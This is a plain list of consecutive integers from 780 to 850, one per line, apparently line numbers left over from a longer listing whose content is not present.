780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850